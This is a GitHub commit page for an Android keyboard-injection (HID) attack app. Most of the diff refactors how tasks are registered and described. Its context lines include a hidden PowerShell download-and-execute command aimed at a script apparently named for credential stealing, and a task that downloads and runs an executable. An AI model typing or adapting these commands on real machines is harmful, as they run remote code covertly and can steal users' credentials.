Skip to content

Commit

Permalink
More efficient byte conversion
Browse files Browse the repository at this point in the history
Task description
  • Loading branch information
Netdex committed Jan 18, 2017
1 parent aeef780 commit 4e4d579
Show file tree
Hide file tree
Showing 12 changed files with 77 additions and 56 deletions.
4 changes: 2 additions & 2 deletions app/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ android {
minSdkVersion 15
targetSdkVersion 25
versionCode 1
versionName "1.0"
versionName "0.0.5"
testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
}
buildTypes {
Expand All @@ -25,6 +25,6 @@ dependencies {
exclude group: 'com.android.support', module: 'support-annotations'
})
compile 'com.android.support:appcompat-v7:25.1.0'
compile 'eu.chainfire:libsuperuser:1.0.0.+'
compile 'eu.chainfire:libsuperuser:1.0.0.201608240809'
testCompile 'junit:junit:4.12'
}
60 changes: 42 additions & 18 deletions app/src/main/java/cf/netdex/hidfuzzer/MainActivity.java
Original file line number Diff line number Diff line change
@@ -1,11 +1,17 @@
package cf.netdex.hidfuzzer;

import android.content.Context;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.widget.ArrayAdapter;
import android.widget.CompoundButton;
import android.widget.Spinner;
import android.widget.ToggleButton;

import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.HashMap;

import cf.netdex.hidfuzzer.task.PowershellTask;
import cf.netdex.hidfuzzer.task.DownloadTask;
import cf.netdex.hidfuzzer.task.WallpaperTask;
Expand All @@ -18,37 +24,55 @@ public class MainActivity extends AppCompatActivity {
public static String TAG = "tag_hidfuzzer";
private HIDTask RUNNING_TASK;

static final Class[] TASKS = {
TestTask.class,
WallpaperTask.class,
DownloadTask.class,
PowershellTask.class,
FuzzerTask.class
};

static final HashMap<String, Class> mTaskMap = new HashMap<>();
static final ArrayList<String> mTaskSpinnerItems = new ArrayList<>();
static {
for (Class c : TASKS) {
mTaskMap.put(c.getName(), c);
mTaskSpinnerItems.add(c.getName());
}
}

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);


final ToggleButton btnPoll = (ToggleButton) findViewById(R.id.btnPoll);
final Spinner spnTask = (Spinner) findViewById(R.id.spnTask);


ArrayAdapter<String> adapter = new ArrayAdapter<String>(
this, android.R.layout.simple_spinner_item, mTaskSpinnerItems);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
spnTask.setAdapter(adapter);

btnPoll.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
String stask = (String) spnTask.getSelectedItem();
switch(stask){
case "Fuzzer":
RUNNING_TASK = new FuzzerTask(MainActivity.this);
break;
case "Test":
RUNNING_TASK = new TestTask(MainActivity.this);
break;
case "Wallpaper":
RUNNING_TASK = new WallpaperTask(MainActivity.this);
break;
case "Download":
RUNNING_TASK = new DownloadTask(MainActivity.this);
break;
case "PowerShell":
RUNNING_TASK = new PowershellTask(MainActivity.this);
break;
Class c = mTaskMap.get(stask);
try {

RUNNING_TASK = (HIDTask) c.getDeclaredConstructor(Context.class).newInstance(MainActivity.this);
RUNNING_TASK.execute();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
RUNNING_TASK.execute();
} else {
if (RUNNING_TASK != null)
RUNNING_TASK.cancel(false);
Expand Down
10 changes: 8 additions & 2 deletions app/src/main/java/cf/netdex/hidfuzzer/hid/HID.java
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,8 @@ public void onCommandResult(int commandCode, int exitCode) {
return err[0];
}

private final static char[] hexArray = "0123456789ABCDEF".toCharArray();

/**
* Escapes a byte array into a string
* ex. [0x0, 0x4, 0x4] => "\x00\x04\x04"
Expand All @@ -97,11 +99,15 @@ public void onCommandResult(int commandCode, int exitCode) {
*/
private static String escapeBytes(byte[] arr) {
StringBuilder sb = new StringBuilder();
for (byte b : arr) {
sb.append(String.format("\\x%02x", b));
for ( int j = 0; j < arr.length; j++ ) {
int v = arr[j] & 0xFF;
sb.append("\\").append(hexArray[v >>> 4]).append(hexArray[v & 0x0F]);
}
return sb.toString();
}





}
10 changes: 4 additions & 6 deletions app/src/main/java/cf/netdex/hidfuzzer/hid/HIDR.java
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

/**
* Wrapper for HID class for ease of usage
*
* <p>
* Created by netdex on 1/16/2017.
*/

Expand All @@ -35,7 +35,7 @@ public void delay(long m) {
}
}

public int test(){
public int test() {
return hid_keyboard((byte) 0, Input.KB.K.VOLUME_UP.c);
}

Expand Down Expand Up @@ -109,11 +109,9 @@ public int send_string(String s, int d) {
boolean st = AP_MAP_SHIFT[(int) c];
if (cd == -1)
throw new IllegalArgumentException("Given string contains illegal characters");
if (c == lc)
ec |= hid_keyboard();
if (c == lc) ec |= hid_keyboard();
ec |= hid_keyboard(st ? Input.KB.M.LSHIFT.c : 0, cd);
if (d != 0)
delay(d);
if (d != 0) delay(d);
lc = c;
}
ec |= hid_keyboard();
Expand Down
3 changes: 1 addition & 2 deletions app/src/main/java/cf/netdex/hidfuzzer/task/DownloadTask.java
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@

public class DownloadTask extends HIDTask {
public DownloadTask(Context context) {
super(context);
super(context, "Downloads and executes a given file. Requires admin account.");
}

@Override
Expand All @@ -27,7 +27,6 @@ public void run() {

final HIDR h = this.getHIDR();

say("Downloads and executes a given file. Requires admin account.");
String file = ask("File to download?", "http://www.greyhathacker.net/tools/messbox.exe");

while (!isCancelled()) {
Expand Down
2 changes: 1 addition & 1 deletion app/src/main/java/cf/netdex/hidfuzzer/task/FuzzerTask.java
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
public class FuzzerTask extends HIDTask {

public FuzzerTask(Context context) {
super(context);
super(context, "Fuzzes the HID interface.");
}

@Override
Expand Down
10 changes: 7 additions & 3 deletions app/src/main/java/cf/netdex/hidfuzzer/task/HIDTask.java
Original file line number Diff line number Diff line change
Expand Up @@ -32,8 +32,11 @@ public abstract class HIDTask extends AsyncTask<Void, HIDTask.RunState, Void> {
private Shell.Interactive mSU;
private HIDR mH;

public HIDTask(Context context) {
private String mDesc;

public HIDTask(Context context, String desc) {
this.mContext = context;
this.mDesc = desc;
}

public Context getContext() {
Expand All @@ -47,6 +50,7 @@ protected Void doInBackground(Void... params) {
mSU.addCommand("chmod 666 " + DEV_KEYBOARD);
mSU.addCommand("chmod 666 " + DEV_MOUSE);
mH = new HIDR(mSU, DEV_KEYBOARD, DEV_MOUSE);
say("Description", mDesc);
toast("Started " + this.getClass().getSimpleName());
run();
toast("Ended " + this.getClass().getSimpleName());
Expand Down Expand Up @@ -171,14 +175,14 @@ public void onCancel(DialogInterface dialog) {
return m_Text[0];
}

void say(final String msg) {
void say(final String title, final String msg) {
final CountDownLatch latch = new CountDownLatch(1);

looper(new Runnable() {
@Override
public void run() {
AlertDialog.Builder alertDialog = new AlertDialog.Builder(mContext);
alertDialog.setTitle("Alert");
alertDialog.setTitle(title);
alertDialog.setMessage(msg);
alertDialog.setPositiveButton("OK",
new DialogInterface.OnClickListener() {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@

public class PowershellTask extends HIDTask {
public PowershellTask(Context context) {
super(context);
super(context, "Runs a PowerShell script.");
}

@Override
Expand All @@ -24,7 +24,6 @@ public void run() {

final HIDR h = this.getHIDR();

say("Run PowerShell script.");
String file = ask("PowerShell script?", "https://netdex.cf/s/cr_steal/cr_steal.ps1");

while (!isCancelled()) {
Expand All @@ -40,6 +39,7 @@ public void run() {
h.press_keys(KB.M.LSUPER.c, KB.K.R.c);
h.delay(2000);
h.send_string("powershell -WindowStyle Hidden iex ((new-object net.webclient).downloadstring('" + file + "'))\n");

publishProgress(RunState.DONE);
while (!isCancelled() && h.test() == 0) {
h.delay(1000);
Expand Down
2 changes: 1 addition & 1 deletion app/src/main/java/cf/netdex/hidfuzzer/task/TestTask.java
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@
public class TestTask extends HIDTask {

public TestTask(Context context) {
super(context);
super(context, "Task for testing new functionality.");
}

@Override
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@

public class WallpaperTask extends HIDTask {
public WallpaperTask(Context context) {
super(context);
super(context, "Downloads and sets a given wallpaper.");
}

@Override
Expand All @@ -24,7 +24,6 @@ public void run() {

final HIDR h = this.getHIDR();

say("Downloads and sets a given wallpaper.");
String file = ask("Wallpaper file?", "http://i.imgur.com/v53KZfh.jpg");
while (!isCancelled()) {
publishProgress(RunState.IDLE);
Expand Down
17 changes: 8 additions & 9 deletions app/src/main/res/layout/activity_main.xml
Original file line number Diff line number Diff line change
Expand Up @@ -35,15 +35,6 @@
android:layout_alignParentRight="true"
android:layout_alignParentEnd="true" />

<Spinner
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/spnTask"
android:entries="@array/tasks_array"
android:layout_below="@+id/textView2"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true" />

<TextView
android:text="Task"
android:layout_width="wrap_content"
Expand All @@ -54,4 +45,12 @@
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true" />

<Spinner
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:id="@+id/spnTask"
android:layout_below="@+id/textView2"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true" />

</RelativeLayout>
8 changes: 0 additions & 8 deletions app/src/main/res/values/strings.xml
Original file line number Diff line number Diff line change
@@ -1,11 +1,3 @@
<resources>
<string name="app_name">HIDFuzzer</string>

<string-array name="tasks_array">
<item>Test</item>
<item>Wallpaper</item>
<item>Download</item>
<item>PowerShell</item>
<item>Fuzzer</item>
</string-array>
</resources>

0 comments on commit 4e4d579

Please sign in to comment.